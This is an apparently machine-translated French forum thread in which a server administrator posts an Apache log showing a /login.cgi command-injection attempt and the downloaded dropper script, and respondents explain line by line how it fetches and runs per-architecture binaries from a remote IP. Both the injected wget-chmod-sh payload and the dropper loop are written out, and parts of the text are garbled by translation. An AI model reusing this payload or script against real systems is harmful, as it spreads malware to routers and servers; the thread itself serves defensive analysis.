J'ai remarqué ces derniers temps sur les journaux Apache de mes serveurs:
156.222.222.13 - - [08/Sep/2018:04:27:24 +0200] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.173.159/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/1.1" 400 0 "-" "LMAO/2.0"
J'ai donc créé un filtre Fail2Ban personnalisé et j'ai commencé à interdire les adresses IP demandant ces URL /login.cgi.
Mais j'étais curieux de savoir ce qu'ils essayaient de faire, alors j'ai tiré le script qu'ils essayaient d'exécuter et je n'arrive pas à comprendre exactement ce qu'il fait. Quelque chose à propos de la suppression des dossiers archivés dans / var et / tmp?
Bref, le voici:
#!/bin/sh
u="asgknskjdgn"
bin_names="mmips mipsel arm arm7 powerpc x86_64 x86_32"
http_server="80.211.173.159"
http_port=80
cd /tmp/||cd /var/
for name in $bin_names
do
rm -rf $u
cp $SHELL $u
chmod 777 $u
>$u
wget http://$http_server:$http_port/$name -O -> $u
./$u $name
done
hxxp://80.211.173.159:80/$name
emplacement de$name
chacune des architectures CPUbin_names
. Donc 7 scripts d'attaque seront téléchargés et exécutésRéponses:
Ligne par ligne:
Établit la
sh
coquille, quelle qu'elle soit, en tant que ligne de shebang.sh%20/tmp/ks
dans la demande l'emporte, cette ligne est donc traitée comme un commentaire normal et ignorée.Déclare un nom arbitraire, sans doute pour éviter d'entrer en collision avec d'autres noms de fichiers. Je ne sais pas pourquoi ils ne l'utiliseraient pas
mktemp
, mais peut-être que ce n'est pas disponible sur toutes les plateformes.Énumère plusieurs architectures CPU courantes.
Le serveur qui a l'exploit.
Tente de changer de répertoire vers un endroit où votre serveur Web est susceptible de créer des fichiers. Je crois que SELinux y contribuera, en appliquant des règles beaucoup plus strictes sur ce que le serveur Web peut faire que le système de fichiers seul.
Pour chaque architecture CPU…
Supprime les programmes d'exploitation précédemment essayés. Inutile à cause de la ligne suivante, peut donc être ignoré.
Copie l'exécutable shell actuel (
/bin/sh
). Peut être ignoré en raison de la ligne suivante.Donne à tout le monde un accès complet au nouveau fichier. Cela aurait dû être après la
wget
commande, qui est soit le signe d'un débutant de script shell ou une technique de mauvaise direction.Vide le fichier. Inutile à cause de la ligne suivante.
Remplace le fichier par le script d'exploitation de cette architecture.
-O -> $u
aurait pu être écrit-O - > $u
(le trait d'union indique que le téléchargement doit être écrit sur la sortie standard), ce qui équivaut à-O $u
.Exécute le script d'exploitation avec l'architecture comme premier argument.
Termine la boucle.
Il semble que ce soit un script de tentative d'exploit trivial, essayant des exploits connus contre diverses plates-formes CPU. Je ne sais pas pourquoi il écrase
$u
trois fois, mais ces opérations pourraient simplement être des restes d'une itération antérieure du script. Vraisemblablement, cette version antérieure avait les exploits codés en dur plutôt que servis dynamiquement - le premier est plus facile mais garantit presque que le script sera moins efficace au fil du temps car les bogues sont corrigés.la source
->
dans lawget
commande do? Pourquoi pas justewget ... -O $u
?- >
-O->filename
, lefilename
ne s'affiche pas dans la sortie de ps ax . Cela peut être un avantage pour rendre le débogage plus difficile.cp
vous donne un fichier exécutable. Peut-être utile en cas d'chmod
échec? Edit: étant donné que cela cible apparemment les routeurs, il est fort possible qu'ilchmod
n'existe pas.C'est
wget
la ligne dangereuse clé.Le
for name in $bin_names
travaille sur la liste des plates-formes et pour chaque plate-forme, il efface un répertoire temporaire, copie un shell et le rend accessible à tous.Il télécharge ensuite un fichier en utilisant
wget
puis l'exécute en utilisant le programme shell qu'il vient de copier.Le script tente essentiellement de télécharger une série d'exécutables ou de scripts pour chaque plate-forme qu'il peut et de les frotter contre votre système dans l'espoir qu'il puisse compromettre davantage votre système.
la source